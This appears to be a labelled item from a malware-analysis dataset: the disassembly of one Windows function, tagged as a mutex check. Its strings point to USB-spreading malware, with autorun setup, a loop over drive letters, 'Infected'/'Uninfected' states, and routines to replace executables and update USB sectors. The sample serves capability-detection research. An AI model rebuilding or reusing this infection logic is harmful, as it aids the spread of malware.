Function at 0x40aac2
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x61c
mov eax, dword [0x417004]
xor eax, esp
mov dword [esp + 0x618], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x8003
mov dword [esp + 0x10], ebx
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
push 3
push str.XMKR_Release_Version__d.0
mov esi, 0x52c008
push esi
call fcn.00406451
add esp, 0xc
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [0x52c0d0], eax
cmp eax, ebx
je 0x40ab53
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x40ab41
push 0x415d18
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
mov dword [0x5297a8], eax
call fcn.00409dbb
test eax, eax
jne 0x40ab6c
push dword [0x52c0d0]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov dword [0x52c0d0], ebx
mov ecx, dword [esp + 0x624]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040ad48
mov esp, ebp
pop ebp
ret 0x10
call fcn.00409f00
call fcn.004087d7
test eax, eax
jne 0x40ab84
mov esi, str.Fail__FunctionName:_autoRun
call fcn.0040a18a
call fcn.004020dd
test eax, eax
jne 0x40ab97
mov esi, str.Fail__FunctionName:_getPCid
call fcn.0040a18a
call fcn.0040883f
mov dword [esp + 0x10], eax
xor edi, edi
xor eax, eax
inc eax
mov ecx, edi
shl eax, cl
test dword [esp + 0xc], eax
jne 0x40ad26
test dword [esp + 0x10], eax
je 0x40ad26
call fcn.00409fdc
call fcn.00409edc
test eax, eax
jne 0x40abda
mov esi, str.Fail__FunctionName:_checkBaseDataDir
call fcn.0040a18a
jmp 0x40ad21
lea eax, [edi + 0x41]
movzx esi, ax
push esi
call fcn.00408def
pop ecx
mov dword [esp + 0x14], eax
cmp eax, ebx
jne 0x40abf6
mov esi, str.Fail__FunctionName:_judgeVersion
jmp 0x40abd0
cmp eax, 0xffffffff
jne 0x40ac02
mov esi, str.Wrong_version
jmp 0x40abd0
push esi
call fcn.00408a56
pop ecx
push esi
call fcn.00408bfc
xor esi, esi
inc esi
pop ecx
mov dword [0x41ccfc], esi
call fcn.00406468
mov eax, dword [0x529318]
cmp eax, ebx
je 0x40ac29
mov byte [eax], bl
mov byte [0x529340], bl
mov dword [0x529318], 0x529340
cmp dword [esp + 0x14], esi
jne 0x40ac60
mov esi, str.Uninfected
call fcn.0040a18a
call fcn.00408fdd
test eax, eax
jne 0x40ad21
mov esi, str.Fail__FunctionName:_replaceExe
jmp 0x40abd0
mov esi, str.Infected
call fcn.0040a18a
call fcn.0040954f
test eax, eax
jne 0x40ac7d
mov esi, str.Fail__FunctionName:_judgeSexeAndQstruct
call fcn.0040a18a
call fcn.00409a99
call fcn.00402211
test eax, eax
jne 0x40ac9a
mov esi, str.Fail__FunctionName:_getUsbId
call fcn.0040a18a
jmp 0x40ad26
call fcn.0040a4ca
call fcn.00402ab1
test eax, eax
jne 0x40acb2
mov esi, str.Fail__FunctionName:_updateQstructSector
call fcn.0040a18a
call fcn.00402bc9
test eax, eax
jne 0x40acc5
mov esi, str.Fail__FunctionName:_downloadQstructSector
call fcn.0040a18a
call fcn.00402380
test eax, eax
jne 0x40acdd
mov esi, str.Fail__FunctionName:_updatePCidListInUsb
call fcn.0040a18a
call fcn.0040a4ca
call fcn.0040279d
test eax, eax
jne 0x40acf0
mov esi, str.Fail__FunctionName:_downloadPCidList
call fcn.0040a18a
call fcn.00403b43
push 0x604
lea eax, [esp + 0x1c]
push ebx
push eax
call fcn.0040fd90
add esp, 0xc
lea ecx, [esp + 0x18]
call fcn.004055ad
lea eax, [esp + 0x18]
push eax
call fcn.00405d8c
pop ecx
call fcn.004063d6
call fcn.0040a0b3
inc edi
cmp edi, 0x1a
jl 0x40aba2
mov eax, dword [esp + 0x10]
push 0x3e8
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40ab97